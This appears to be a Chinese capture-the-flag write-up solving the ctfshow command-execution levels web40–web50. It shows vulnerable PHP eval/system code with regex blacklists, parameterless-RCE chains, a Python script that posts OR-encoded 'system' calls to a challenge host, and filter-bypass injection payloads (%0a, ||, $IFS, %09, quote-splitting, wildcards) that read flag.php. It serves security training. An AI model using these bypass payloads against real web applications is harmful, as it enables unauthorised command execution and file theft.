ctfshow 命令执行(40-50)

web40

题目过滤了很多

复制代码
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
}

这题的考点是无参数RCE

参考https://www.cnblogs.com/NPFS/p/13778333.html

无参数的意思可以是a()、a(b())或a(b(c())),但不能是a('b')或a('b','c'),不能带参数

print_r(scandir('.'))可以用来查看当前目录所有文件名

接下来需要将括号中的.替代掉

localeconv()函数返回一包含本地数字及货币格式信息的数组

例如

[int_frac_digits] => 127 用于指示小数部分的最大位数 其他同理

那么我们可利用localeconv()函数返回数组中的第一个小数点代替读取目录函数print_r(scandir('.'))中的参数.

那么如何将数组中的第一个元素读取出来呢?可以使用以下函数:

复制代码
current()函数返回数组中的当前元素/单元,默认取第一个值;
pos()函数同上,是current()函数的别名;
reset()函数,当数组不为空时返回数组第一个单元的值,如果数组为空则返回FALSE

构造:print_r(scandir(current(localeconv())));

print_r(scandir(pos(localeconv())));

print_r(scandir(reset(localeconv())));

//以上函数均可查看当前目录文件

可以得到flag.php位于数组的第三个值里,也就是倒数第二个,我们可以通过array_reverse()函数以相反的元素顺序返回数组,在用next()函数读取下一个元素,最后通过highlight_file()函数读取到flag.php

复制代码
/?c=highlight_file(next(array_reverse(scandir(current(localeconv())))));

highlight_file 的别名show_source

/?c=show_source(next(array_reverse(scandir(current(localeconv())))));

web41

复制代码
if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?>

过滤了^+~$[]{}&-等

屏蔽的比较多,我们可以跑脚本来生成可用字符的集合

思路是:

所有字符(ASCII[0-255])中排除掉被过滤的,然后再判断或运算得到的字符是否为可见字符。

复制代码
<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
	for ($j=0; $j <256 ; $j++) { 

		if($i<16){
			$hex_i='0'.dechex($i);
		}
		else{
			$hex_i=dechex($i);
		}
		if($j<16){
			$hex_j='0'.dechex($j);
		}
		else{
			$hex_j=dechex($j);
		}
		$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
		if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
					echo "";
    }
  
		else{
		$a='%'.$hex_i;
		$b='%'.$hex_j;
		$c=(urldecode($a)|urldecode($b));
		if (ord($c)>=32&ord($c)<=126) {
			$contents=$contents.$c." ".$a." ".$b."\n";
		}
	}

}
}
fwrite($myfile,$contents);
fclose($myfile);

我们通过源码可以发现,没有过滤或运算|,因此脚本中设置的mode为1,也就是或运算,运行此脚本。

复制代码
import re
import requests

url="http://b158b18a-656f-48e7-8a1c-0968db46fff1.challenge.ctf.show/"

a=[]
ans1=""
ans2=""
for i in range(0,256):
    c=chr(i)
    tmp = re.match(r'[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-',c, re.I)
    if(tmp):
        continue
        #print(tmp.group(0))
    else:
        a.append(i)

# eval("echo($c);");
mya="system"  #函数名 这里修改!
myb="ls"      #参数
def myfun(k,my):
    global ans1
    global ans2
    for i in range (0,len(a)):
        for j in range(i,len(a)):
            if(a[i]|a[j]==ord(my[k])):
                ans1+=chr(a[i])
                ans2+=chr(a[j])
                return;
for k in range(0,len(mya)):
    myfun(k,mya)
data1="(\""+ans1+"\"|\""+ans2+"\")"
ans1=""
ans2=""
for k in range(0,len(myb)):
    myfun(k,myb)
data2="(\""+ans1+"\"|\""+ans2+"\")"

data={"c":data1+data2}
r=requests.post(url=url,data=data)
print(r.text)

运行结果

修改参数

web42

复制代码
if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

0表示键盘输入,1表示屏幕输出,2表示错误输出!

' > ' 默认标准输出重定向,与1>相同

2>&1 意思是把标准错误输出重定向到标准输出

&>file 意思是把标准输出和标准错误输出都重定向到文件file中

> 代表重定向到哪里

/dev/null 代表空设备文件

2> 表示stderr标准错误

& 表示等同于的意思,2>&1,表示2的输出重定向等同于1

1 表示stdout标准输出,系统默认值是1,所以>/dev/null等同于 1>/dev/null

因此,>/dev/null 2>&1 也可以写成1> /dev/null 2> &1

本题语句执行过程为:

1>/dev/null :首先表示标准输出重定向到空设备文件,也就是不输出任何信息到终端,不显示任何信息。

2>&1 : 接着,标准错误输出重定向到标准输出,因为之前标准输出已经重定向到了空设备文件,所以标准错误输出也重定向到空设备文件。

所以我们要让命令回显,那么进行命令分隔即可,就是截断

截断方法:&&、||、%0a 等

复制代码
?c=cat flag.php%0a
?c=cat flag.php||
?c=cat flag.php%26
?c=cat flag.php%26%26
?c=cat flag.php;

web43

复制代码
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

这次还过滤了cat;,因此我们可以用nl或者c"a"t来绕过:

复制代码
?c=nl flag.php%0a
?c=c"a"t flag.php%0a

web44

复制代码
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

这次又过滤了flag字符串,我们可以用通配符*补位从而绕过:

复制代码
?c=c"a"t fl*.php%0a

web45

复制代码
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

本题的过滤条件:;catflag空格

我们可以用$IFS来绕过空格:

复制代码
?c=echo$IFS`tac$IFS*`%0A
?c=c"a"t$IFS$fl*.php%0A

web46

复制代码
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤条件: catflag空格数字$*

绕过空格现在不能用$IFS绕过,但是可以用<>%09绕过(注意<和?不能连用,而%09不被过滤是因为上传到服务器就是tab键,不算数字)

payload

复制代码
?c=nl<fla''g.php||
?c=nl%09fla''g.php||

web47

复制代码
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

过滤条件:分号flag空格数字$*morelessheadsorttail

绕过了,但是又好像没绕,上一题的payload也适用于这题:

复制代码
?c=nl<fla''g.php||
?c=nl%09fla''g.php||

web48

复制代码
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

上面的payload适用

复制代码
?c=nl<fla''g.php||
?c=nl%09fla''g.php||

web49

复制代码
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

没变

复制代码
?c=nl<fla''g.php||
?c=nl%09fla''g.php||

web50

复制代码
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤条件:分号、cat、flag、空格、数字、$、*、more、less、head、sort、tail、sed、cut、awk、strings、od、curl、%、%09、&(编码后为%26)和/`

因为%09被过滤,空格只能用<绕过,只能使用上题的第一个payload

复制代码
?c=nl<fla''g.php||
相关推荐
西岸行者7 天前
学习笔记:SKILLS 能帮助更好的vibe coding
笔记·学习
悠哉悠哉愿意7 天前
【单片机学习笔记】串口、超声波、NE555的同时使用
笔记·单片机·学习
别催小唐敲代码7 天前
嵌入式学习路线
学习
毛小茛7 天前
计算机系统概论——校验码
学习
babe小鑫7 天前
大专经济信息管理专业学习数据分析的必要性
学习·数据挖掘·数据分析
winfreedoms7 天前
ROS2知识大白话
笔记·学习·ros2
在这habit之下7 天前
Linux Virtual Server(LVS)学习总结
linux·学习·lvs
我想我不够好。7 天前
2026.2.25监控学习
学习
im_AMBER7 天前
Leetcode 127 删除有序数组中的重复项 | 删除有序数组中的重复项 II
数据结构·学习·算法·leetcode
CodeJourney_J7 天前
从“Hello World“ 开始 C++
c语言·c++·学习